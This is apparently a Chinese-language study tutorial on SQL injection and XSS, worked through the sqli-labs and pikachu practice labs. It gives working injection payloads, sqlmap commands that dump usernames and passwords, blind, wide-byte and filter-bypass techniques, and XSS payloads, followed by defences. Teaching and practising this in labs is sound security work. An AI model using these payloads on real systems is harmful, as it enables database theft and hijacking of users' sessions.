网络安全基础
漏洞
sql(Structured Query Language 结构化查询语言)注入
原理
- 原理:攻击者在向应用程序提交输入时,通过构造恶意sql语句,最终改变应用开发者定义的sql查询语句的语法和功能。
- 本质:改变sql使用拼接方法,注入恶意sql语句,改变原本语句执行逻辑。
- 产生原因:前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
手工注入过程(以sql_lab第一关为例)
-
登陆,发现是get请求方式。
在 http://127.0.0.1/sqli-labs-master/Less-1/?id=1 来看一下效果,得到提示,输入id。 -
判断是否数字注入
字符型和数字型最大的一个区别在于,数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
当输入参数为整型的时候,通常sql语句是这样的:
Select * from users where id = x
用and 1=1和and 1=2来判断
url地址中输入?id=x and 1=1 回显正常
select * from users where id=1 and 1=1
逻辑判断正确,返回正常
url地址中输入?id=x and 1=2 报错则存在数字型注入
select * from users where id=1 and 1=2
逻辑判断错误,返回错误
如果是字符型注入,则sql语句是这样子的:
select * from users where id ='1 and 1=1';
select * from users where id ='1 and 1=2';
查询语句将and语句全部转换成字符串,并没有进行and的逻辑判断,所以不会出现以上结果,所以这个等式是不成立的。 -
用单引号判断是否是字符型注入。
当输入的参数x为字符型时,通常sql语句会这样的
select * from users where id ='x'
如上,除去最外层的两个引号为程序提示出错信息加上的,我们可以判断,
Select * from users where id=’1’’limit 0,1
除去1‘可以得到后台的SQL语句应该为:
select * from table where id =’input’
-
确定字段数。
构造语句,使得前面的引号闭合id= 1’order by 1 --+
即:select * from table where id = ‘1’order by 1 --+’
–+将后面的内容都当成注释过滤掉了。
从1开始,1、2、3、4……
从1~3都有回显:
到4的时候:
没有回显了
说明字段数为3。 -
确定哪几个字段可以显示到屏幕上:
确定2,3位置可以回显。
Select * from table where id = ‘-1’ union select 1,2,3 --+‘
-
查看当前数据库:
Select * from table where id = ‘-1’ union select 1,database(),3 --+‘
-
获取所有数据库:
?id=-1' union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+
-
获取Security的所有数据表名:
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema="security"),database() --+
-
获取users表里的列名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3 --+
-
查看用户名密码:
?id=-1' union select 1,(select group_concat(username,"|",password) from users),3 --+
sqlmap(自动化sql注入工具)爆破数据库
- 基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
- 基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。
- 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。
- 联合查询注入,可以使用union的情况下的注入。
- 堆查询注入,可以同时执行多条语句的执行时的注入。
一、基本格式
sqlmap -u “http://192.168.1.165/sqli-labs-master/Less-1/?id=1”
默认使用level1检测全部数据库类型
sqlmap -u “http://192.168.1.165/sqli-labs-master/Less-1/?id=1” –dbms mysql –level 3
指定数据库类型为mysql,级别为3(共5级,级别越高,检测越全面)
二、
- 用
sqlmap –u “http://192.168.1.165/sqli-labs-master/Less-1/?id=1”
检测出可利用漏洞。 - 使用sqlmap注入获取数据库
sqlmap –u “http://192.168.1.165/sqli-labs-master/Less-1/?id=1” –dbs
- 列出当前数据库
sqlmap –u “http://192.168.1.165/sqli-labs-master/Less-1/?id=1” --current -db
- 查询security库中存在的所有表:
sqlmap –u“http://192.168.1.165/sqli-labs-master/Less-1/?id=1”-D security –tables
- 获取列
sqlmap –u“http://192.168.1.165/sqli-labs-master/Less-1/?id=1” -D security -T users –columns
(-D dbname指定数据库名称、-T tablename:指定某数据表的名称、–columns:列出指定表上的所有列)。
- 导出数据列中所有数据
sqlmap –u“http://192.168.1.165/sqli-labs-master/Less-1/?id=1” -D security -T users –C id,username,password –dump
其他类型注入(以pikachu为例)
- POST型注入
- 点到1处查询、抓包
- 把包发送到重放器里面,抓到包在id那里输入or 1=1# 能不能遍历,发现可以,存在sql注入。
- 模糊注入(like)
- like模糊查询,输入
%’ or 1=1 #
,显示用户信息,注入成功。
- insert/update注入
- 提示先注册一个账号,点击注册
- 猜测注册语句为
insert into user(name,password,sex,phone,address1,address2) value('xxx',123,1,2,3,4)
,可以在xxx的位置构造我们的注入语句xxx' or updatexml(1,concat(0x7e,database()),0) or '
- 成功爆出数据库名字。
- httpheader注入
- 点击提示,输入用户名密码后登陆
- 由于题目是http header,考虑对http请求头进行sql注入,重新登陆抓包。
- 把 User-Agent 改为一个单引号,发包看看后台处理的结果,发现直接报了 SQL 语法错误。
- 再把User-Agent后面跟上构造好的语句,爆出数据库
- 宽字节注入
- 了解什么是宽字节:宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作,使得攻击者可以通过宽字节编码绕过SQL注入防御。当我们测试的时候,输入“%df‘”,这个时候如果php函数是使用的addslashes()的时候,会在冒号的前面加上’\’。也就变成了%df\’ 。对应的编码是%df%5c’.这时候网站字符集是GBK,MYSQL使用的编码也是GBK的话,就会认为%df\是一个汉“運’”,这样的话,单引号前面的\就不起作用了,从而转义失败,题目就会出现报错信息。
- 当我们输入有单引号时被转义为\’,无法构造 SQL 语句的时候,可以尝试宽字节注入。
GBK编码中,反斜杠的编码是 “%5c”,而 “%df%5c” 是繁体字 “連”。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入 payload当我们用通常的测试 payload时,是无法执行成功的因为在后台单引号会被转义,在数据库中执行时多了个反斜杠。我们可以用下面的payload,在单引号前面加上 %df,让单引号成功逃逸kobe%df' or 1=1#
- 盲注(base on boolian)
- 先输入’测试一下反馈信息
- 输入一个之前注册过的信息
- 发现回馈正确信息,输入
kobe’ and 1=1#
发现反馈仍然为正确信息
- 将1=1改成1=2,错误的值,发现报错。
- 所以,我们可以从and 1=1判断真假来做工作了,输入之前基于报错的字符
kobe’ and ascii(substr(database(),1,1))>113#
,将database的名字取第一个字符,转换为asc码的形式进行对比。发现反馈输入错误。
- 盲注(base on time)
- 输入
kobe’ and sleep(5)#
,查询同时监听网络状态,发现看到时间线是5s,说明存在基于时间的盲注。
kobe' and if ((substr(database(),1,1))='a',sleep=(5),null)# 1ms
就返回结果 说明不是”a”改为”p”不返回 一直到确定数据库的全称。
常见绕过方式
- 大小写绕过
- 双写绕过
- 编码绕过
- 内联注释绕过(单行注释、多行注释)
- 编码绕过
危害
危害严重,可以获取数据库敏感信息,修改数据库信息、提权、webshell、执行系统命令等等
解决方式
- 对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
- 使用参数化(Parameterized Query 或 Parameterized Statement);
- 还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
XSS(跨站脚本攻击)
原理
- 原理:跨站脚本攻击也就是我们常说的xss,xss攻击是Web攻击中最常见的攻击手法之一,其通过在网页插入可执行代码,达到攻击的目的。
- 产生原因:程序对输入和输出没有做合适的处理,导致“精心构造”的字符输出在前端时被浏览器当作有效代码解析执行从而产生危害。
分类
类型 | 存储区 | 插入点 |
---|---|---|
存储型xss | 后端数据库 | HTML |
反射型xss | URL | HTML(不经过数据库,一次性) |
DOM型xss | 后端数据库/前端数据库/URL | 前端java Script(不经过服务端) |
跨站脚本攻击出现场景分析
1. 输出结果在标签之间
<pre>[用户输入] </pre>
直接插入xss payload即可
2. 输出结果在RCDATA标签之间
<textarea>[用户输入]</textarea>
闭合原有标签再输入
<textarea></textarea> <svg onload="alert(1)"></svg>
3. 输出结果在标签属性中
<input type='text' value='用户输入'>
测试:
(1)闭合单双引号,然后定义一个新事件,在事件里执行对应payload
进行触发,例如上面样例
<input type='text' value='' onclick='alert(1)'>
(2)闭合单双引号后直接闭合标签,然后自行新建标签后触发。
4. 输出结果在src/href属性中
输出在src/href 属性中(考虑使用协议)
例如:<iframe src=’[--用户输入--]‘> <iframe>
除了提到的两种方法外还可以利用JavaScript协议,data协议:JavaScript协议,例如上面样例
<iframe src='javascript:alert(1)'></iframe>
5. 其他情况
(1)输出内容在CSS代码中,IE浏览器仅支持CSS中的expression,利用类似表达式可以执行xss。
(2)输出内容在Content-type为text/javascript的响应包中,尝试闭合原js语句触发;
(3)输出内容在CSS代码中:IE浏览器支持CSS中的expression,利用类似此表达式可以执行xss。
<span style='color:' lix:expression(alert(/xss/));"><span>
pikachu例题
- 反射型xss
1.被限制了输入长度
2.提交发现输入是get型请求,输入的内容在上面
3.直接在上面输入
4.成功
- 存储型xss
1.直接输入xss代码,提交成功
2.刷新会再次出现,留言列表有记录
因为存储型xss是保存在数据库里的,刷新之后,留言列表从数据库提取出xss数据所以会弹框,存好会一直弹出来 - DOM型xss
1.输入xss代码,不行
2.查看页面源代码,发现我们输入的部分被做成超链接了,所以将超链接闭合(单引号闭合)
3.点击超链接弹出
- 盲打
1.在所有能输入的框框中输入攻击代码,没有反应
2.点击提示,让登陆后台查看
3.查看后台,输入用户名密码登陆
4.登陆后弹出xss
- xss之过滤
1.尝试输入攻击代码,失败。
2.在查看页面源代码也没什么问题后,尝试大小写绕过,成功。<ScriPT>alert(/xss/)</ScriPT>
- xss之htmlspecialchars
1.百度查看htmlspecialchars作用
2.输入了’”<>后审查元素发现它过滤掉了
3.输入’οnclick=”alert(‘xss’)”试试,标签中出现onclick,直接修改
4.点击链接,成功弹出
- xss之href输出
1.尝试输入失败
2.用onclick也不行
3.输出在a标签里的href属性,可以使用js协议来执行js,点击链接,成功弹出
- xss之js输出
1.尝试输入后,没有反应,随便输入一串字符,查看页面源代码
2.他将我们输入的字符存到了js代码里面然后进行判断,我们可以根据代码写一个闭合,弹出成功
危害
XSS是一种发生在前端浏览器端的漏洞,所以其危害的对象也是前端用户。
- 窃取用户cookies,利用用户身份进一步利用
- 键盘记录劫持,获取用户输入记录
- 篡改页面信息
- DDOS攻击
防范
程序员:
1.对用户提交内容合法性校验
2.对用户提交内容进行转义处理
3.对用户输入长度进行限制
普通用户:
不要轻易访问别人给你的长链接,它可能包含了转码后的恶意HTML代码,禁止浏览器运行JavaScript和Action代码。